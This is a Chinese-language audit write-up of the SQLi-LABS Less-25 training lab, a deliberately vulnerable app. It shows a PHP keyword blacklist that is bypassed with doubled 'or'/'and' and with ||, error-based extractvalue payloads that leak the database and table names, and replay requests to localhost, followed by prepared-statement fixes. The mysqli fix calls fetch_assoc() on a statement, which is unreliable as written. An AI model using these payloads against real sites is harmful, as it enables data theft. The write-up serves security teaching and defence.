sqli-labs-Less-25-代码审计报告

15次阅读
没有评论

Less-25 审计报告:黑名单过滤 or/and 绕过(报错型,单引号闭合)

1. 关卡概述

项目 内容
关卡名称 Less-25 Trick with OR & AND
源码路径 Less-25/index.php
漏洞类型 SQL 注入 – 报错型(黑名单 or/and 可绕过,单引号闭合)
注入点参数 GET /Less-25/?id=
报错/盲注 报错回显(print_r(mysql_error()))
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x

2. 漏洞代码定位

文件: Less-25/index.php

// 第 21 行:用户输入直接取出
$id=$_GET['id'];

// 第 28 行:交给黑名单函数
$id= blacklist($id);

// 第 35 行:过滤后的值拼入 SQL(单引号包裹)
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

// 第 36 行:执行
$result=mysql_query($sql);

// 第 49 行:出错回显
print_r(mysql_error());

// 第 59~65 行:黑名单函数 —— 大小写不敏感地删除 or / and
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
    return $id;
}

3. 漏洞分析

  • 过滤机制:preg_replace('/or/i',"", $id) 与 preg_replace('/AND/i',"", $id) —— 用空串替换 or/and(大小写不敏感)。注意:
    • 只删 or/and 关键字,不删 ||、&&、Oorr(双写)、大小写变体中的非命中部分。
    • 是一次性删除——对"双写"如 oorr 删除中间的 or 后剩下 or,恰好恢复成可用关键字。
  • SQL 拼接位置:WHERE id='$id',单引号闭合。
  • 是否回显:第 49 行报错回显。
  • 可被绕过的本质:黑名单思路是"删掉危险词",但没有考虑双写自恢复、运算符等价(||、&&)、以及报错函数本身不依赖 or/and。

4. 利用方式

步骤一:确认 or/and 被过滤

?id=1' or 1=1-- - → or 被删,变成 1' 1=1-- -(语法错)。
?id=1' oorr 1-- - → oorr 删去中间 or 剩 or,SQL 变为 1' or 1-- -,可正常返回 → 双写绕过成立。

步骤二:布尔/逻辑绕过(|| 代替 or)

1' || 1 || '1

拼接后:WHERE id='1' || 1 || '1',恒真,返回 id=1 的行。

步骤三:报错注入(核心 payload)

1' || extractvalue(1,concat(0x7e,database())) || '1

拼接后:

SELECT * FROM users WHERE id='1' || extractvalue(1,concat(0x7e,database())) || '1' LIMIT 0,1

预期结果:回显 XPATH syntax error: '~security'。

也可以双写关键字 + and:如 1' Oorr 1-- - 或 1' aandnd 1-- -(对 aandnd 删去 and 剩 and)。

步骤四:提取其它数据

1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) || '1

5. Yakit 重放数据包

GET /sqli-labs/Less-25/?id=1'%20||%20extractvalue(1,concat(0x7e,database()))%20||%20'1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

双写验证报文:

GET /sqli-labs/Less-25/?id=1'%20oorr%201--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close


6. 修复建议

修复一:PDO 预处理

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();

修复三:加固要点

  • 不要用黑名单过滤关键字,改用白名单/参数化;黑名单永远有漏(双写、运算符、编码、注释分隔等)。
  • id 类参数 ctype_digit()/is_numeric() 强校验。
  • 关闭报错回显(print_r(mysql_error()) → 写日志)。
  • 数据库最小权限,升级 PHP 7+ / 8+。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前提:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、PHP 5.x + mysql 扩展。
正文完
 0